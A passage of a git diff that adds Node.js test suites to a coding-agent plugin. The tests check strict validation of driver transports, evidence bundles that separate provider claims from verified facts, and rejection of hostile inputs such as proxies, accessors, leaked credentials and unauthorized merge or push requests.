(result.detail_message !== undefined) { + assert.match(result.detail_message, CONTENT_FREE_DETAIL); + assert.ok(result.detail_message.length <= 512); + } + } +}); + +test('results echo the exact child identity and arrive detached and frozen', () => { + const transport = fakeDshTransport({ polls: [{ state: 'completed', stop_reason: 'end_turn' }] }); + const driver = createFixtureDriver(MUSE_MODEL, transport); + const fixture = dshEnvelope(MUSE_MODEL); + const lane = dispatchLane(driver.driver, fixture); + const seen = [lane.preflight, lane.launch, lane.reconcile({ include: ['live_progress'] }), lane.cancel()]; + for (const result of seen) { + assert.equal(result.run_id, fixture.run_id); + assert.equal(result.assignment_id, fixture.assignment_id); + assert.equal(result.lane_index, fixture.lane_index); + assert.equal(result.base_sha, fixture.base_sha); + assert.equal(result.child_envelope_digest, fixture.child_envelope_digest); + assert.ok(Object.isFrozen(result)); + } +}); + +test('transport validation rejects wrong surfaces and accepts the canonical five', () => { + assertDshAcpTransportV1(fakeDshTransport().port); + for (const [label, port] of Object.entries({ + 'missing op': (() => { const p = fakeDshTransport().port; delete p.poll; return p; })(), + 'extra op': (() => { const p = fakeDshTransport().port; p.heal = () => {}; return p; })(), + 'non-function op': (() => { const p = fakeDshTransport().port; p.poll = 42; return p; })(), + 'proxy op': (() => { const p = fakeDshTransport().port; p.poll = new Proxy(() => {}, {}); return p; })(), + 'proxy record': new Proxy(fakeDshTransport().port, {}), + 'exotic record': (() => class Weird extends Object { })(), + null: null, + array: [], + })) { + assert.throws(() => assertDshAcpTransportV1(port), + (error) => error instanceof RunContractV1Error, + `transport ${label} must be denied`); + } +}); + +test('config identity receipts are validated strictly', () => { + assert.equal(validateDshConfigIdentityV1(readyIdentity(), MUSE_MODEL).ready, true); + assert.deepEqual(validateDshConfigIdentityV1({ ready: false }, MUSE_MODEL), { + ready: false, reason: null, + }); + expectCode(() => validateDshConfigIdentityV1(readyIdentity(), 'claude-3'), 'dsh_model_denied'); + expectCode(() => validateDshConfigIdentityV1(readyIdentity({ config_path: 'relative/path.yml' }), MUSE_MODEL), + 'invalid_format'); + expectCode(() => validateDshConfigIdentityV1(readyIdentity({ config_sha256: 'SHA256' }), MUSE_MODEL), + 'invalid_format'); + expectCode(() => validateDshConfigIdentityV1(readyIdentity({ credential_source: 'keychain' }), MUSE_MODEL), + 'invalid_format'); + expectCode(() => validateDshConfigIdentityV1(readyIdentity({ ready: true, reason: 'config_unavailable' }), MUSE_MODEL), + 'invalid_format'); + expectCode(() => validateDshConfigIdentityV1({ ready: true, config_path: '/x.yml' }, MUSE_MODEL), 'missing_key'); + expectCode(() => validateDshConfigIdentityV1(readyIdentity({ credential_sha256: undefined }), MUSE_MODEL), + 'own_undefined_denied'); +}); diff --git a/plugins/codex-co-engineer/test/r1-evidence-bundle.test.mjs b/plugins/codex-co-engineer/test/r1-evidence-bundle.test.mjs new file mode 100644 index 0000000..0323928 --- /dev/null +++ b/plugins/codex-co-engineer/test/r1-evidence-bundle.test.mjs @@ -0,0 +1,459 @@ +import assert from 'node:assert/strict'; +import test from 'node:test'; + +import { + ARTIFACT_REF_SCHEMA_ID, + CLAIM_ALLOWED_KEYS, + CLAIM_KINDS, + CLAIM_REQUIRED_KEYS, + DISCREPANCY_KINDS, + EVIDENCE_BUNDLE_SCHEMA_ID, + EVIDENCE_BUNDLE_VERSION, + EVIDENCE_DIGEST_LABEL, + FACT_ALLOWED_KEYS, + FACT_KINDS, + FACT_REQUIRED_KEYS, + canonicalEvidenceBundleJsonV1, + canonicalProviderClaimJsonV1, + canonicalVerifiedFactJsonV1, + evidenceBundleDigestV1, + parseEvidenceBundleV1, + parseEvidenceDiscrepancyV1, + parseProviderClaimV1, + parseVerifiedFactV1, + verifyEvidenceBundleDigestV1, +} from '../mcp/v3/evidence-bundle.mjs'; +import { IDENTITY_DOMAIN, IDENTITY_LABELS } from '../mcp/v3/identity.mjs'; +import { RunContractV1Error } from '../mcp/v3/run-manifest.mjs'; +import { parseArtifactRefV1 } from '../mcp/v3/artifact-ref.mjs'; +import { + ASSIGNMENT_ID, + BASE_SHA, + MODEL, + RUN_ID, + SHA_ACCEPT, + SHA_REPORT, + acceptanceRef, + countingProxy, + payloadDigest, + reportRef, + trapTotal, + validArtifactRef, + validBundle, + validClaim, + validDiscrepancy, + validFact, + validGitIdentityFact, + validModelClaim, +} from './fixtures/r1-evidence-fixtures.mjs'; + +function errorOf(action, expectedPath) { + try { + action(); + } catch (error) { + assert.ok(error instanceof RunContractV1Error, `expected RunContractV1Error, got ${error}`); + if (expectedPath !== undefined) assert.equal(error.path, expectedPath); + return error; + } + assert.fail('expected a typed RunContractV1Error'); +} + +test('schema identity is additive v1 and does not claim a 4.0.0 major', () => { + assert.equal(EVIDENCE_BUNDLE_SCHEMA_ID, 'codex-co-engineer.evidence-bundle.v1'); + assert.equal(EVIDENCE_BUNDLE_VERSION, 1); + assert.equal(EVIDENCE_BUNDLE_SCHEMA_ID.includes('4.0.0'), false); +}); + +test('a valid provider claim parses into a frozen detached snapshot', () => { + const input = validClaim(); + const snapshot = parseProviderClaimV1(input); + assert.equal(Object.isFrozen(snapshot), true); + assert.equal(Object.isFrozen(snapshot.payload), true); + assert.equal(Object.isFrozen(snapshot.artifact_digests), true); + assert.equal(snapshot.claim_kind, 'tests_passed'); + assert.equal(snapshot.status, 'asserted'); + assert.equal(snapshot.payload.result, 'pass'); + assert.equal(snapshot.payload_digest, payloadDigest(snapshot.payload)); + input.payload = { result: 'fail' }; + input.subject = 'other'; + assert.equal(snapshot.payload.result, 'pass'); + assert.equal(snapshot.subject, 'unit-tests'); + assert.throws(() => { 'use strict'; snapshot.status = 'unsupported'; }, TypeError); +}); + +test('a valid verified fact carries authority, method, input, output, exit, timing, truncation, and digest', () => { + const snapshot = parseVerifiedFactV1(validFact()); + assert.equal(snapshot.authority, 'platform_acceptance_runner'); + assert.equal(snapshot.method, 'approved_command_execution'); + assert.match(snapshot.input_digest, /^[0-9a-f]{64}$/u); + assert.match(snapshot.output_digest, /^[0-9a-f]{64}$/u); + assert.equal(snapshot.exit_code, 0); + assert.equal(snapshot.duration_ms, 1200); + assert.equal(snapshot.truncated, false); + assert.equal(snapshot.payload_digest, payloadDigest(snapshot.payload)); + assert.equal(snapshot.status, 'verified'); +}); + +test('claims and facts remain distinct closed key worlds', () => { + for (const key of ['authority', 'method', 'input_digest', 'truncated', 'fact_kind']) { + assert.equal(CLAIM_ALLOWED_KEYS.includes(key), false, key); + } + for (const key of ['claim_kind']) { + assert.equal(FACT_ALLOWED_KEYS.includes(key), false, key); + } + assert.equal( + errorOf(() => parseProviderClaimV1(validClaim({ authority: 'platform_git' })), 'claim.authority').code, + 'unknown_key', + ); + assert.equal( + errorOf(() => parseVerifiedFactV1(validFact({ claim_kind: 'tests_passed' })), 'fact.claim_kind').code, + 'unknown_key', + ); + assert.equal(FACT_KINDS.includes('provider_report'), false); + assert.equal(CLAIM_KINDS.includes('acceptance_results'), false); +}); + +test('canonical claim and fact bytes are independent of object key order', () => { + const claim = validClaim(); + const reordered = {}; + for (const key of Object.keys(claim).reverse()) reordered[key] = claim[key]; + assert.equal(canonicalProviderClaimJsonV1(claim), canonicalProviderClaimJsonV1(reordered)); + + const fact = validFact(); + const factReordered = {}; + for (const key of Object.keys(fact).reverse()) factReordered[key] = fact[key]; + assert.equal(canonicalVerifiedFactJsonV1(fact), canonicalVerifiedFactJsonV1(factReordered)); +}); + +test('supplied payload digests must match the canonical payload and never trust-upgrade', () => { + const claim = validClaim(); + const digest = payloadDigest(claim.payload); + assert.doesNotThrow(() => parseProviderClaimV1({ ...claim, payload_digest: digest })); + assert.equal( + errorOf(() => parseProviderClaimV1({ ...claim, payload_digest: 'ab'.repeat(32) })).code, + 'payload_digest_mismatch', + ); + const parsed = parseProviderClaimV1(claim); + const mutated = JSON.parse(canonicalProviderClaimJsonV1(claim)); + mutated.payload.result = 'fail'; + mutated.payload_digest = parsed.payload_digest; + assert.equal(errorOf(() => parseProviderClaimV1(mutated)).code, 'payload_digest_mismatch'); +}); + +test('every claim and fact kind in the closed vocabularies parses', () => { + const claims = [ + validClaim(), + validModelClaim(), + validClaim({ + claim_id: 'c-head', claim_kind: 'head_reached', subject: 'head', + payload: { sha: 'b1c2d3e4f5a6b7c8d9e0f1a2b3c4d5e6f7a8b9c0' }, + }), + validClaim({ + claim_id: 'c-files', claim_kind: 'files_changed', subject: 'diff', + payload: { path_count: 3 }, + }), + validClaim({ + claim_id: 'c-cmd', claim_kind: 'command_reported', subject: 'unit-tests', + payload: { command_id: 'unit-tests', result: 'pass' }, + }), + ]; + for (const claim of claims) parseProviderClaimV1(claim); + parseVerifiedFactV1(validFact()); + parseVerifiedFactV1(validGitIdentityFact()); + parseVerifiedFactV1(validFact({ + fact_id: 'f-head', fact_kind: 'head_sha', subject: 'head', + authority: 'platform_git', method: 'ancestry_check', exit_code: null, + payload: { sha: 'b1c2d3e4f5a6b7c8d9e0f1a2b3c4d5e6f7a8b9c0' }, + })); + parseVerifiedFactV1(validFact({ + fact_id: 'f-diff', fact_kind: 'git_diff', subject: 'diff', + authority: 'platform_git', method: 'scope_match', exit_code: null, + payload: { path_count: 3, path_set_digest: '66'.repeat(32) }, + })); + parseVerifiedFactV1(validFact({ + fact_id: 'f-model', fact_kind: 'model_attested', subject: 'model', + authority: 'independent_provider_query', method: 'independent_model_query', + exit_code: null, payload: { model: MODEL }, + })); + parseVerifiedFactV1(validFact({ + fact_id: 'f-art', fact_kind: 'artifact_integrity', subject: 'artifact', + authority: 'platform_ref_audit', method: 'artifact_digest_compare', + payload: { artifact_sha256: '22'.repeat(32), result: 'match' }, + })); +}); + +test('unknown kinds, statuses, authorities, and pairings fail closed', () => { + assert.equal( + errorOf(() => parseProviderClaimV1(validClaim({ claim_kind: 'git_diff' }))).code, + 'unknown_claim_kind', + ); + assert.equal( + errorOf(() => parseVerifiedFactV1(validFact({ fact_kind: 'provider_report' }))).code, + 'unknown_fact_kind', + ); + assert.equal( + errorOf(() => parseVerifiedFactV1(validFact({ + fact_kind: 'model_attested', + authority: 'platform_acceptance_runner', + method: 'approved_command_execution', + payload: { model: MODEL }, + }))).code, + 'unsupported_pairing', + ); + assert.equal( + errorOf(() => parseVerifiedFactV1(validFact({ truncated: true, status: 'verified' }))).code, + 'truncated_required_fact', + ); +}); + +test('identity grammars reuse accepted P02 run and assignment ids', () => { + assert.equal( + errorOf(() => parseProviderClaimV1(validClaim({ run_id: 'Run-Evidence' })), 'claim.run_id').code, + 'invalid_format', + ); + assert.equal( + errorOf(() => parseVerifiedFactV1(validFact({ assignment_id: 'Lane-Alpha' })), 'fact.assignment_id').code, + 'invalid_format', + ); +}); + +test('required keys, forbidden classes, and non-finite numbers fail closed', () => { + for (const key of CLAIM_REQUIRED_KEYS) { + const partial = validClaim(); + delete partial[key]; + assert.equal(errorOf(() => parseProviderClaimV1(partial), `claim.${key}`).code, 'missing_key'); + } + for (const key of FACT_REQUIRED_KEYS) { + const partial = validFact(); + delete partial[key]; + assert.equal(errorOf(() => parseVerifiedFactV1(partial), `fact.${key}`).code, 'missing_key'); + } + assert.equal(errorOf(() => parseProviderClaimV1(validClaim({ secret: 'x' }))).code, 'credential_content_denied'); + assert.equal(errorOf(() => parseVerifiedFactV1(validFact({ argv: ['npm', 'test'] }))).code, 'executable_content_denied'); + assert.equal(errorOf(() => parseVerifiedFactV1(validFact({ duration_ms: Number.NaN }))).code, 'invalid_json_value'); + assert.equal(errorOf(() => parseVerifiedFactV1(validFact({ duration_ms: Infinity }))).code, 'invalid_json_value'); + assert.equal(errorOf(() => parseProviderClaimV1(validClaim({ sequence: 1.5 }))).code, 'invalid_type'); +}); + +test('live proxies and accessors are denied without invoking traps or getters', () => { + const { proxy, counts } = countingProxy(validClaim()); + assert.equal(errorOf(() => parseProviderClaimV1(proxy)).code, 'proxy_denied'); + assert.equal(trapTotal(counts), 0); + + let reads = 0; + const getterClaim = validClaim(); + Object.defineProperty(getterClaim, 'subject', { + enumerable: true, + get() { + reads += 1; + return 'unit-tests'; + }, + }); + assert.equal(errorOf(() => parseProviderClaimV1(getterClaim)).code, 'accessor_property_denied'); + assert.equal(reads, 0); +}); + +test('a valid bundle freezes exact P07 artifact snapshots and detaches from the caller', () => { + const input = validBundle(); + const snapshot = parseEvidenceBundleV1(input); + assert.equal(Object.isFrozen(snapshot), true); + assert.equal(Object.isFrozen(snapshot.claims), true); + assert.equal(Object.isFrozen(snapshot.facts), true); + assert.equal(Object.isFrozen(snapshot.artifacts), true); + assert.equal(snapshot.artifacts.length, 3); + assert.equal(snapshot.artifacts[0].schema, ARTIFACT_REF_SCHEMA_ID); + for (const ref of snapshot.artifacts) { + assert.deepEqual(Object.keys(ref), Object.keys(parseArtifactRefV1(validArtifactRef()))); + assert.equal(ref.run_id, RUN_ID); + assert.equal(ref.assignment_id, ASSIGNMENT_ID); + } + input.final_state = 'failed'; + input.artifacts.push(validArtifactRef({ relative_path: 'runs/run-evidence-01/lane-alpha/other.patch' })); + assert.equal(snapshot.final_state, 'pass'); + assert.equal(snapshot.artifacts.length, 3); + assert.throws(() => { 'use strict'; snapshot.final_state = 'failed'; }, TypeError); +}); + +test('discrepancies link claim and fact identities without erasing either source', () => { + const claim = validClaim({ payload: { result: 'pass' } }); + const fact = validFact({ payload: { command_id: 'unit-tests', result: 'fail' }, status: 'failed' }); + const discrepancy = validDiscrepancy(); + parseEvidenceDiscrepancyV1(discrepancy); + const snapshot = parseEvidenceBundleV1(validBundle({ + final_state: 'failed', + claims: [claim], + facts: [fact, validGitIdentityFact()], + discrepancies: [discrepancy], + })); + assert.equal(snapshot.claims[0].payload.result, 'pass'); + assert.equal(snapshot.facts.find((entry) => entry.fact_id === 'f-accept').payload.result, 'fail'); + assert.equal(snapshot.discrepancies[0].discrepancy_kind, 'mismatch'); + assert.deepEqual([...snapshot.discrepancies[0].claim_ids], ['c-tests']); + assert.deepEqual([...snapshot.discrepancies[0].fact_ids], ['f-accept']); + assert.equal(DISCREPANCY_KINDS.includes('mismatch'), true); +}); + +test('raw paths, URLs, and inline blobs are never accepted as artifact links', () => { + assert.equal( + errorOf(() => parseEvidenceBundleV1(validBundle({ + artifacts: ['runs/run-evidence-01/lane-alpha/diff.patch'], + }))).code, + 'invalid_type', + ); + assert.equal( + errorOf(() => parseEvidenceBundleV1(validBundle({ + artifacts: ['https://example.invalid/report'], + }))).code, + 'invalid_type', + ); + const blob = validArtifactRef({ body: 'inline' }); + assert.equal(errorOf(() => parseEvidenceBundleV1(validBundle({ artifacts: [blob] }))).code, 'unknown_key'); + const extraPath = validArtifactRef({ url: '/tmp/secret' }); + assert.equal(errorOf(() => parseEvidenceBundleV1(validBundle({ artifacts: [extraPath] }))).code, 'unknown_key'); +}); + +test('artifact identity drift and non-P07 snapshots fail closed', () => { + assert.equal( + errorOf(() => parseEvidenceBundleV1(validBundle({ + artifacts: [validArtifactRef({ assignment_id: 'lane-beta' })], + }))).code, + 'identity_mismatch', + ); + const incomplete = validArtifactRef(); + delete incomplete.sha256; + assert.equal(errorOf(() => parseEvidenceBundleV1(validBundle({ artifacts: [incomplete] }))).code, 'missing_key'); +}); + +test('canonical bundle bytes and digests are stable under key permutation and use the reserved identity label', () => { + const straight = validBundle(); + const reordered = {}; + for (const key of Object.keys(straight).reverse()) reordered[key] = straight[key]; + reordered.claims = [{ ...straight.claims[0] }]; + const reversedClaim = {}; + for (const key of Object.keys(straight.claims[0]).reverse()) { + reversedClaim[key] = straight.claims[0][key]; + } + reordered.claims = [reversedClaim]; + reordered.facts = [...straight.facts].reverse(); + reordered.artifacts = [...straight.artifacts].reverse(); + assert.equal(canonicalEvidenceBundleJsonV1(straight), canonicalEvidenceBundleJsonV1(reordered)); + const descriptor = evidenceBundleDigestV1(straight); + assert.equal(descriptor.domain, IDENTITY_DOMAIN); + assert.equal(descriptor.label, IDENTITY_LABELS.EVIDENCE_BUNDLE); + assert.equal(descriptor.label, EVIDENCE_DIGEST_LABEL); + assert.equal(verifyEvidenceBundleDigestV1(reordered, descriptor.digest), true); + assert.equal(verifyEvidenceBundleDigestV1(straight, 'zz'.repeat(32)), false); + assert.equal(verifyEvidenceBundleDigestV1(straight, 1), false); + const mutated = validBundle({ sequence: 1 }); + assert.notEqual(evidenceBundleDigestV1(mutated).digest, descriptor.digest); +}); + +test('facts cannot be synthesized from provider-derived artifacts', () => { + assert.equal( + errorOf(() => parseEvidenceBundleV1(validBundle({ + facts: [validFact({ artifact_digests: ['11'.repeat(32)] })], + }))).code, + 'provider_proof_rejected', + ); +}); + +test('model_attested facts require independent proof, not provider-report reuse', () => { + const modelFact = (artifactDigests) => validFact({ + fact_id: 'f-model', + fact_kind: 'model_attested', + sequence: 2, + subject: 'model', + authority: 'independent_provider_query', + method: 'independent_model_query', + exit_code: null, + payload: { model: MODEL }, + artifact_digests: artifactDigests, + }); + + assert.equal( + errorOf(() => parseEvidenceBundleV1(validBundle({ + facts: [validFact(), validGitIdentityFact(), modelFact([SHA_REPORT])], + }))).code, + 'provider_proof_rejected', + ); + + assert.doesNotThrow(() => parseEvidenceBundleV1(validBundle({ + facts: [validFact(), validGitIdentityFact(), modelFact([SHA_ACCEPT])], + }))); + + const usageSha = '77'.repeat(32); + assert.doesNotThrow(() => parseEvidenceBundleV1(validBundle({ + facts: [validFact(), validGitIdentityFact(), modelFact([usageSha])], + artifacts: [ + reportRef(), + acceptanceRef(), + validArtifactRef(), + validArtifactRef({ + artifact_kind: 'usage_evidence', + relative_path: `runs/${RUN_ID}/${ASSIGNMENT_ID}/usage.json`, + sha256: usageSha, + media_type: 'application/json', + }), + ], + }))); +}); + +test('stale git identity facts fail closed against the bundle base', () => { + assert.equal( + errorOf(() => parseEvidenceBundleV1(validBundle({ + facts: [ + validFact(), + validGitIdentityFact({ + payload: { base_sha: 'c'.repeat(40), head_sha: BASE_SHA }, + }), + ], + }))).code, + 'stale_fact', + ); +}); + +test('duplicate and conflicting identities fail closed', () => { + assert.equal( + errorOf(() => parseEvidenceBundleV1(validBundle({ + claims: [validClaim(), validClaim({ sequence: 1 })], + }))).code, + 'duplicate_id', + ); + assert.equal( + errorOf(() => parseEvidenceBundleV1(validBundle({ + facts: [validFact(), validFact({ fact_id: 'f-other', sequence: 0 })], + }))).code, + 'duplicate_sequence', + ); +}); + +test('accepted states reject forged PASS, incomplete facts, unsupported claims, and discrepancies', () => { + for (const finalState of ['pass', 'accepted', 'verified']) { + assert.doesNotThrow(() => parseEvidenceBundleV1(validBundle({ final_state: finalState }))); + } + + const forgedPass = validBundle({ facts: [validGitIdentityFact()] }); + assert.equal(errorOf(() => parseEvidenceBundleV1(forgedPass)).code, 'unproven_accepted_state'); + + const incompleteFact = validBundle({ + facts: [validFact({ status: 'partial' }), validGitIdentityFact()], + }); + assert.equal(errorOf(() => parseEvidenceBundleV1(incompleteFact)).code, 'unproven_accepted_state'); + + const truncatedFact = validBundle({ + facts: [validFact({ status: 'truncated', truncated: true }), validGitIdentityFact()], + }); + assert.equal(errorOf(() => parseEvidenceBundleV1(truncatedFact)).code, 'truncated_required_fact'); + + const unsupportedClaim = validBundle({ claims: [validClaim({ status: 'unsupported' })] }); + assert.equal(errorOf(() => parseEvidenceBundleV1(unsupportedClaim)).code, 'unproven_accepted_state'); + + const blockingDiscrepancy = validBundle({ + facts: [ + validFact({ payload: { command_id: 'unit-tests', result: 'fail' }, status: 'failed' }), + validGitIdentityFact(), + ], + discrepancies: [validDiscrepancy()], + }); + assert.equal(errorOf(() => parseEvidenceBundleV1(blockingDiscrepancy)).code, 'unproven_accepted_state'); +}); diff --git a/plugins/codex-co-engineer/test/r1-future-harness-adversarial.test.mjs b/plugins/codex-co-engineer/test/r1-future-harness-adversarial.test.mjs new file mode 100644 index 0000000..793ea90 --- /dev/null +++ b/plugins/codex-co-engineer/test/r1-future-harness-adversarial.test.mjs @@ -0,0 +1,169 @@ +// Adversarial P22 future-harness tests: hostile keys, prototypes, accessors, +// identity lies, secret/path leakage, and invented capabilities fail closed. + +import assert from 'node:assert/strict'; +import test from 'node:test'; +import { types as utilTypes } from 'node:util'; + +import { + bindFutureHarnessDriverTemplateV1, + createFutureHarnessDriverTemplateV1, + validateFutureHarnessIdentityV1, +} from '../mcp/v3/future-harness.mjs'; +import { + assertFutureHarnessContentFreeV1, +} from '../mcp/v3/provider-driver-conformance.mjs'; +import { + DRIVER_OPERATIONS, + assertProviderDriverV1, + bindProviderDriverV1, + buildDriverOperationRequestV1, + validateDriverLaunchRequestV1, +} from '../mcp/v3/provider-driver.mjs'; +import { RunContractV1Error } from '../mcp/v3/run-manifest.mjs'; +import { + FUTURE_HARNESS_PATH_CANARY, + FUTURE_HARNESS_SECRET_CANARY, + buildFutureHarnessFixtureV1, + createScriptedFutureHarnessDriverV1, + futureHarnessSupportedDeclarationV1, + futureHarnessTemplateOptionsV1, + scriptedFutureHarnessResultV1, +} from './fixtures/r1-future-harness-conformance.mjs'; + +function expectCode(fn, code) { + assert.throws(fn, (error) => error instanceof RunContractV1Error && error.code === code); +} + +test('hostile template options never execute caller code', () => { + const packed = futureHarnessTemplateOptionsV1('dsh'); + let getterRuns = 0; + const hostile = { ...packed.options }; + Object.defineProperty(hostile, 'identity', { + enumerable: true, + get() { + getterRuns += 1; + return packed.options.identity; + }, + }); + expectCode(() => createFutureHarnessDriverTemplateV1(hostile), 'accessor_property_denied'); + assert.equal(getterRuns, 0); + expectCode(() => createFutureHarnessDriverTemplateV1(Object.assign( + Object.create({ inherited: true }), packed.options, + )), 'exotic_prototype_denied'); + expectCode(() => createFutureHarnessDriverTemplateV1({ + ...packed.options, + [Symbol('hidden')]: 1, + }), 'symbol_key_denied'); +}); + +test('a fifth reply/retry/merge operation is not a driver surface', () => { + const packed = futureHarnessTemplateOptionsV1('dsh'); + const driver = createFutureHarnessDriverTemplateV1(packed.options); + expectCode(() => assertProviderDriverV1({ ...driver, reply: () => ({}) }), 'invalid_surface'); + expectCode(() => assertProviderDriverV1({ ...driver, retry: () => ({}) }), 'invalid_surface'); + expectCode(() => assertProviderDriverV1({ ...driver, merge: () => ({}) }), 'invalid_surface'); + const incomplete = { ...driver }; + delete incomplete.cancel; + expectCode(() => assertProviderDriverV1(incomplete), 'invalid_surface'); +}); + +test('foreign launch keys keep fail-closed P02 denial codes', () => { + const fixture = buildFutureHarnessFixtureV1('dsh'); + const request = buildDriverOperationRequestV1('launch', fixture.envelope); + expectCode(() => validateDriverLaunchRequestV1({ ...request, fallback: true }), + 'replay_or_fallback_denied'); + expectCode(() => validateDriverLaunchRequestV1({ ...request, create_pr: true }), + 'merge_authority_denied'); + expectCode(() => validateDriverLaunchRequestV1({ ...request, auto_create_pr: true }), + 'merge_authority_denied'); + expectCode(() => validateDriverLaunchRequestV1({ ...request, push: true }), + 'merge_authority_denied'); + expectCode(() => validateDriverLaunchRequestV1({ ...request, credentials: { token: 'x' } }), + 'credential_content_denied'); +}); + +test('scripted identity lies and extra receipt keys are rejected', () => { + const fixture = buildFutureHarnessFixtureV1('grok'); + const declaration = futureHarnessSupportedDeclarationV1('grok'); + const lying = createScriptedFutureHarnessDriverV1(fixture, { launch: 'dispatched' }); + lying.launch = (request) => ({ + ...scriptedFutureHarnessResultV1('launch', request, fixture, 'dispatched'), + run_id: 'other-run', + }); + const bound = bindProviderDriverV1(lying, declaration); + bound.preflight(buildDriverOperationRequestV1('preflight', fixture.envelope)); + expectCode( + () => bound.launch(buildDriverOperationRequestV1('launch', fixture.envelope)), + 'receipt_identity_mismatch', + ); + + const extra = createScriptedFutureHarnessDriverV1(fixture, { launch: 'dispatched' }); + extra.launch = (request) => ({ + ...scriptedFutureHarnessResultV1('launch', request, fixture, 'dispatched'), + artifact_ref: 'sha256:deadbeef', + }); + const extraBound = bindProviderDriverV1(extra, declaration); + extraBound.preflight(buildDriverOperationRequestV1('preflight', fixture.envelope)); + expectCode( + () => extraBound.launch(buildDriverOperationRequestV1('launch', fixture.envelope)), + 'unknown_key', + ); +}); + +test('secret and path canaries never appear in template receipts or errors', () => { + const packed = futureHarnessTemplateOptionsV1('dsh'); + const bound = bindFutureHarnessDriverTemplateV1(packed.options); + const preflight = bound.preflight(buildDriverOperationRequestV1('preflight', packed.fixture.envelope)); + const launch = bound.launch(buildDriverOperationRequestV1('launch', packed.fixture.envelope)); + assertFutureHarnessContentFreeV1(preflight, 'preflight'); + assertFutureHarnessContentFreeV1(launch, 'launch'); + try { + bound.cancel(buildDriverOperationRequestV1('cancel', packed.fixture.envelope)); + assert.fail('cancel must fail closed'); + } catch (error) { + assert.ok(!utilTypes.isProxy(error)); + assert.doesNotMatch(error.message, new RegExp(FUTURE_HARNESS_SECRET_CANARY, 'u')); + assert.doesNotMatch(error.message, new RegExp(FUTURE_HARNESS_PATH_CANARY.replaceAll('/', '\\/'), 'u')); + assertFutureHarnessContentFreeV1(error.message, 'cancel.error'); + } + expectCode( + () => assertFutureHarnessContentFreeV1( + { detail_message: `token ${FUTURE_HARNESS_SECRET_CANARY}` }, + 'leaky', + ), + 'credential_content_denied', + ); + expectCode( + () => assertFutureHarnessContentFreeV1({ path: FUTURE_HARNESS_PATH_CANARY }, 'leaky-path'), + 'credential_content_denied', + ); +}); + +test('random IDs and clocks are not accepted as identity substitutes', () => { + const fixture = buildFutureHarnessFixtureV1('dsh'); + expectCode(() => validateFutureHarnessIdentityV1({ + ...fixture.identity, + request_id: `${Date.now()}`, + }), 'invalid_format'); + expectCode(() => validateFutureHarnessIdentityV1({ + ...fixture.identity, + branch: 'HEAD', + }), 'invalid_format'); + expectCode(() => validateFutureHarnessIdentityV1({ + ...fixture.identity, + base_sha: 'MAIN', + }), 'invalid_format'); +}); + +test('Proxy drivers and accessor operations are denied', () => { + const packed = futureHarnessTemplateOptionsV1('cursor-local'); + const driver = createFutureHarnessDriverTemplateV1(packed.options); + expectCode(() => assertProviderDriverV1(new Proxy(driver, {})), 'proxy_denied'); + const accessor = {}; + Object.defineProperty(accessor, 'preflight', { enumerable: true, get: () => () => ({}) }); + for (const operation of DRIVER_OPERATIONS) { + if (operation !== 'preflight') accessor[operation] = () => ({}); + } + expectCode(() => assertProviderDriverV1(accessor), 'invalid_object'); +}); diff --git a/plugins/codex-co-engineer/test/r1-future-harness-conformance.test.mjs b/plugins/codex-co-engineer/test/r1-future-harness-conformance.test.mjs new file mode 100644 index 0000000..b17ce43 --- /dev/null +++ b/plugins/codex-co-engineer/test/r1-future-harness-conformance.test.mjs @@ -0,0 +1,199 @@ +// Reusable P22 future-harness conformance suite. The kit is deterministic +// and may be pointed at the inert template or at a scripted future adapter. +// Passing it does not qualify a live transport. + +import assert from 'node:assert/strict'; +import test from 'node:test'; + +import { + bindFutureHarnessDriverTemplateV1, + createFutureHarnessDriverTemplateV1, +} from '../mcp/v3/future-harness.mjs'; +import { + describeFutureHarnessConformanceKitV1, + runFutureHarnessConformanceKitV1, +} from '../mcp/v3/provider-driver-conformance.mjs'; +import { bindProviderDriverV1, buildDriverOperationRequestV1 } from '../mcp/v3/provider-driver.mjs'; +import { RunContractV1Error } from '../mcp/v3/run-manifest.mjs'; +import { + buildFutureHarnessFixtureV1, + createScriptedFutureHarnessDriverV1, + futureHarnessFailClosedDeclarationV1, + futureHarnessSupportedDeclarationV1, + futureHarnessTemplateOptionsV1, +} from './fixtures/r1-future-harness-conformance.mjs'; + +test('the conformance kit describes mock evidence and not live qualification', () => { + const description = describeFutureHarnessConformanceKitV1(); + assert.equal(description.live_transport_qualification, false); + assert.ok(description.proves.includes('preflight_before_spawn')); + assert.ok(description.proves.includes('no_remote_pr_merge_authority')); + assert.ok(description.proves.includes('no_secret_or_path_leakage')); + assert.ok(Object.isFrozen(description)); +}); + +test('the inert template passes the reusable kit deterministically', () => { + const packed = futureHarnessTemplateOptionsV1('dsh'); + const driver = createFutureHarnessDriverTemplateV1(packed.options); + const first = runFutureHarnessConformanceKitV1(driver, { + label: 'template-dsh', + declaration: packed.options.declaration, + fixture: packed.fixture, + expect: { launch_disposition: 'not_sent' }, + }); + const second = runFutureHarnessConformanceKitV1( + createFutureHarnessDriverTemplateV1(packed.options), + { + label: 'template-dsh', + declaration: packed.options.declaration, + fixture: packed.fixture, + expect: { launch_disposition: 'not_sent' }, + }, + ); + assert.equal(first.ok, true); + assert.equal(first.live_transport_qualification, false); + assert.equal(first.mode, 'not_sent'); + assert.deepEqual(first, second); + assert.ok(first.checks >= 8); +}); + +test('the kit covers grok, cursor-local, and cursor-cloud fail-closed templates', () => { + for (const provider of ['grok', 'cursor-local', 'cursor-cloud']) { + const packed = futureHarnessTemplateOptionsV1(provider); + const report = runFutureHarnessConformanceKitV1( + createFutureHarnessDriverTemplateV1(packed.options), + { + label: `template-${provider}`, + declaration: packed.options.declaration, + fixture: packed.fixture, + expect: { launch_disposition: 'not_sent' }, + }, + ); + assert.equal(report.ok, true, provider); + assert.equal(report.live_transport_qualification, false, provider); + } +}); + +test('blocked unattested preflight is a first-class kit mode', () => { + const packed = futureHarnessTemplateOptionsV1('dsh', { + exact_model_selection: 'not_supported', + }); + const report = runFutureHarnessConformanceKitV1( + createFutureHarnessDriverTemplateV1(packed.options), + { + label: 'template-blocked', + declaration: packed.options.declaration, + fixture: packed.fixture, + expect: { preflight_disposition: 'blocked' }, + }, + ); + assert.equal(report.ok, true); + assert.equal(report.mode, 'blocked'); +}); + +test('a scripted dispatch double proves never-replay and terminal absorption', () => { + const fixture = buildFutureHarnessFixtureV1('grok'); + const declaration = futureHarnessSupportedDeclarationV1('grok'); + const driver = createScriptedFutureHarnessDriverV1(fixture, { + launch: 'dispatched', + reconcile: 'terminal', + cancel: 'already_terminal', + }); + const report = runFutureHarnessConformanceKitV1(driver, { + label: 'scripted-grok', + declaration, + fixture, + 